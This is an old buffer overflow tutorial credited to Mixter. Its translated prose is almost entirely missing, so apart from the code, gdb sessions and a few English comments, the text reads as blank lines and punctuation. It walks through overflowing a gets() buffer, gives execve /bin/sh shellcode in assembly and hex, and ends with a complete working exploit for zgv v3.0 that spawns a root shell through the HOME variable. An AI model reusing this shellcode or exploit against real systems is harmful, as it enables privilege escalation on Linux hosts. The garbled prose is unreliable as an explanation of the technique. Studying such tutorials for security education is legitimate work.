   " " (Buffer Overflow)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
:    Mixter
 :           ...
1.   
---------------------

     ?
      ""        
       .
    ,   ""   . 
,     , ,  .
,        ,    
      :-)
Pagefile, "" ,           
    .
      ""     . 
  :

.   -
        .      ,
     ,  
    (,       ) -
     .
    EIP,   Instruction Pointer,      
 .

.   -
    ,   .

.    (    ):  -  -
        .     
        , 
    .
            , 
,     ,     (   ).
         " - ".
     -        ? (
     )
       ,   . ?
         .   . :-)
     :
PUSHL -    .
POPL -    .
,         .  ,   8-)

2. 
-----------

   ,      ,    
 ,       ,   
   .    ,   , 
( ):

memory address		code
0x8054321 	pushl $0x0
0x8054322		call $0x80543a0 <<<< 0x80543a0   
0x8054327		ret
0x8054328		leave
...
0x80543a0 	popl %eax <<<<      
0x80543a1		addl $0x1337,%eax
0x80543a4		ret

   ,   ,    - 
 0x80543a0.
  PUSHL (?)      0  , 
      . ?  :)
,       EBP ,    
  .    ,     ,
    ,    ,    
    :-)

3.     
--------------------------------

      :

void lame (void) { char small[30]; gets (small); printf("%s\n", small); }
main() { lame (); return 0; }

        (  ):

# cc -ggdb blah.c -o blah
/tmp/cca017401.o: In function `lame':
/root/blah.c:1: the `gets' function is dangerous and should not be used.
# gdb blah
/*  : gdb, GNU            */
(gdb) disas main
     :
0x80484c8 <main>:       pushl  %ebp
0x80484c9 <main+1>:     movl   %esp,%ebp
0x80484cb <main+3>:     call   0x80484a0 <lame>
0x80484d0 <main+8>:     leave
0x80484d1 <main+9>:     ret

(gdb) disas lame
      'lame':
/*           ret  */
0x80484a0 <lame>:       pushl  %ebp
0x80484a1 <lame+1>:     movl   %esp,%ebp
/*      0x20 , 32.    30  
   4byte-wise (     32  )
      : char small[30]; */
0x80484a3 <lame+3>:     subl   $0x20,%esp
/*     small[30] (  ,  
      0xffffffe0(%ebp))  , 
    'gets': gets(small); */
0x80484a6 <lame+6>:     leal   0xffffffe0(%ebp),%eax
0x80484a9 <lame+9>:     pushl  %eax
0x80484aa <lame+10>:    call   0x80483ec <gets>
0x80484af <lame+15>:    addl   $0x4,%esp
/*         "%s\n"    
     print: printf("%s\n", small); */
0x80484b2 <lame+18>:    leal   0xffffffe0(%ebp),%eax
0x80484b5 <lame+21>:    pushl  %eax
0x80484b6 <lame+22>:    pushl  $0x804852c
0x80484bb <lame+27>:    call   0x80483dc <printf>
0x80484c0 <lame+32>:    addl   $0x8,%esp
/*     , 0x80484d0,    .
            cpu  'ret'  */
0x80484c3 <lame+35>:    leave
0x80484c4 <lame+36>:    ret
  .
3a.  
# ./blah
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx	<- user input
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
# ./blah
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx <- user input
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
   ( )
# gdb blah core
(gdb) info registers
     eax:       0x24          36
     ecx:  0x804852f   134513967
     edx:        0x1           1
     ebx:   0x11a3c8     1156040
     esp: 0xbffffdb8 -1073742408
     ebp:   0x787878     7895160 
              ^^^^^^
EBP  0x787878,       
       . 0x78   hex 
 'x'.      32  .  
            
EBP   'xxxx',    
   0x787878,      .

3b.    
       lame()  .
     0x80484d0 0x80484cb,  .
,  :  32    |4   EBP | 4  ret
      4     
  :
main()
{
int i=0; char buf[44];
for (i=0;i<=40;i+=4)
*(long *) &buf[i] = 0x80484cb;
puts(buf);
}
# ret
,

# (ret;cat)|./blah
test		 <- user input
,test
test		 <- user input
test

 ,     .
   ,      
      .

4. shell code
-------------
    , shell         
        .
   ,            .
,      shell.
    execve(),      .
    .  manpage     :
int  execve  (const  char  *filename, char *const argv [], char *const envp[]);
       glibc2:
( )
# gdb /lib/libc.so.6
(gdb) disas execve
Dump of assembler code for function execve:
0x5da00 <execve>:       pushl  %ebx

/* this is the actual syscall. before a program would call execve, it would
  push the arguments in reverse order on the stack: **envp, **argv, *filename */
/* put address of **envp into edx register */
0x5da01 <execve+1>:     movl   0x10(%esp,1),%edx
/* put address of **argv into ecx register */
0x5da05 <execve+5>:     movl   0xc(%esp,1),%ecx
/* put address of *filename into ebx register */
0x5da09 <execve+9>:     movl   0x8(%esp,1),%ebx
/* put 0xb in eax register; 0xb == execve in the internal system call table */
0x5da0d <execve+13>:    movl   $0xb,%eax
/* give control to kernel, to execute execve instruction */
0x5da12 <execve+18>:    int    $0x80

0x5da14 <execve+20>:    popl   %ebx
0x5da15 <execve+21>:    cmpl   $0xfffff001,%eax
0x5da1a <execve+26>:    jae    0x5da1d <__syscall_error>
0x5da1c <execve+28>:    ret
  .

4a.  
-------------------
         Shellcode  
    ,    
    ,       .
        shellcode,     jmp    
          .    (call)?
        .
0   jmp <Z>     (skip Z bytes forward)
2   popl %esi
... put function(s) here ...
Z   call <-Z+2> (skip 2 less than Z bytes backward, to POPL)
Z+5 .string     (first variable)
:         shell ,      
 .
                  
 .

4b.shellcode
-------------
global code_start		/* we'll need this later, dont mind it */
global code_end
	.data
code_start:
	jmp  0x17
	popl %esi
	movl %esi,0x8(%esi)	/* put address of **argv behind shellcode,
				   0x8 bytes behind it so a /bin/sh has place */
	xorl %eax,%eax		/* put 0 in %eax */
	movb %eax,0x7(%esi)	/* put terminating 0 after /bin/sh string */
	movl %eax,0xc(%esi)	/* another 0 to get the size of a long word */
my_execve:
	movb $0xb,%al		/* execve(         */
	movl %esi,%ebx		/* "/bin/sh",      */
	leal 0x8(%esi),%ecx	/* & of "/bin/sh", */
	xorl %edx,%edx		/* NULL		   */
	int $0x80		/* );		   */
	call -0x1c
	.string "/bin/shX"	/* X is overwritten by movb %eax,0x7(%esi) */
code_end:

(   0x17  -0x1c      0x0,
,       shellcodes)

  shellcode ,   ,        exit() syscall
  ( )   (   \   )   ,
               .
             
movb %eax,0x7(%esi).
  X  \0      \0  shellcode...

    ,      code.S    code.c

extern void code_start();
extern void code_end();
#include <stdio.h>
main() { ((void (*)(void)) code_start)(); }

# cc -o code code.S code.c
# ./code
bash#

     Shellcode    hex
         :

#include <stdio.h>
extern void code_start(); extern void code_end();
main() { fprintf(stderr,"%s",code_start); }

    -h  bin2c.pl           


5.  
------------------
          shellcode   ,   .
   zgv,           .

# export HOME=`perl -e 'printf "a" x 2000'`
# zgv
Segmentation fault (core dumped)
# gdb /usr/bin/zgv core
#0  0x61616161 in ?? ()
(gdb) info register esp
     esp: 0xbffff574 -1073744524

     ,           shellcode .

     NOP  ,     100%     
 shellcode   (      ).
      shellcode,     NOP   jmp,  ,
  popl      .

   :   ,     ESP    .
  zgv      .
     EBP  (4)     .
   8                  .

 zgv  1024 ,        ,    
subl $0x400,%esp  (=1024)  .
      

5a.  zgv
---------------------
5a. Sample zgv exploit

/*                   zgv v3.0 exploit by Mixter
          buffer overflow tutorial - http://1337.tsx.org

        sample exploit, works for example with precompiled
    redhat 5.x/suse 5.x/redhat 6.x/slackware 3.x linux binaries */

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>

/* This is the minimal shellcode from the tutorial */
static char shellcode[]=
"\xeb\x17\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d"
"\x4e\x08\x31\xd2\xcd\x80\xe8\xe4\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x58";

#define NOP     0x90
#define LEN     1032
#define RET     0xbffff574

int main()
{
char buffer[LEN];
long retaddr = RET;
int i;

fprintf(stderr,"using address 0x%lx\n",retaddr);

/* this fills the whole buffer with the return address, see 3b) */
for (i=0;i<LEN;i+=4)
   *(long *)&buffer[i] = retaddr;

/* this fills the initial buffer with NOP's, 100 chars less than the
   buffer size, so the shellcode and return address fits in comfortably */
for (i=0;i<(LEN-strlen(shellcode)-100);i++)
   *(buffer+i) = NOP;

/* after the end of the NOPs, we copy in the execve() shellcode */
memcpy(buffer+i,shellcode,strlen(shellcode));

/* export the variable, run zgv */

setenv("HOME", buffer, 1);
execlp("zgv","zgv",NULL);
return 0;
}

/* EOF */

       :

[ ... NOP NOP NOP NOP NOP JMP SHELLCODE CALL /bin/sh RET RET RET RET RET RET ]

  zgv  :

v-- 0xbffff574 is here
[     S   M   A   L   L   B   U   F   F   E   R   ] [SAVED EBP] [ORIGINAL RET]

   zgv  :

main ... -> function() -> strcpy(smallbuffer,getenv("HOME")), zgv fails to do bounds checking, writes beyond smallbuffer,
  , zgv    ,    ,
     (overwritten)     .
function()  leave/ret  EIP  :
0xbffff574 nop
0xbffff575 nop
0xbffff576 nop
0xbffff577 jmp $0x24                    1
0xbffff579 popl %esi          3 <--\    |
[... shellcode starts here ...]    |    |
0xbffff59b call -$0x1c             2 <--/
0xbffff59e .string "/bin/shX"

   ...
# cc -o zgx zgx.c
# ./zgx
using address 0xbffff574
bash#

 
----------
          cc.exe  gdb.exe!!!

         
dhtm and Par4n0iA